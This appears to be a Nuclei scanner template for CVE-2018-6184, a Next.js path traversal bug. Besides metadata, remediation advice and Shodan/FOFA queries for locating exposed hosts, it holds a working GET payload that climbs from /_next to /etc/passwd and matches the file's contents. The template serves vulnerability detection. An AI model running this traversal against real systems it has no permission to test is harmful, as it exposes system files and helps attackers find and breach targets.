Zeit Next.js < 4.2.3 - Local File Inclusion

id: CVE-2018-6184

info:
  name: Zeit Next.js < 4.2.3 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    Zeit Next.js before 4.2.3 is susceptible to local file inclusion under the /_next request namespace. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade to the latest version of Zeit Next.js (>=4.2.3) to mitigate this vulnerability.
  reference:
    - https://github.com/PortSwigger/j2ee-scan/blob/master/src/main/java/burp/j2ee/issues/impl/NextFrameworkPathTraversal.java
    - https://github.com/zeit/next.js/releases/tag/4.2.3
    - https://nvd.nist.gov/vuln/detail/CVE-2018-6184
    - https://github.com/lnick2023/nicenice
    - https://github.com/masasron/vulnerability-research
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-6184
    cwe-id: CWE-22
    epss-score: 0.0923
    epss-percentile: 0.94713
    cpe: cpe:2.3:a:zeit:next.js:4.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - html:"/_next/static"
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve2018,cve,nextjs,lfi,traversal,zeit,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e484e5a3632a986d7e87c8a9afcf6efee7040afb2fdc98b649e0e9617b3028f102201293bd7b4eb6dd3e9dd3786ed6e01fae0b3fc333938c4de8288945326a3f9238:922c64590222798bb761d5b6d8e72950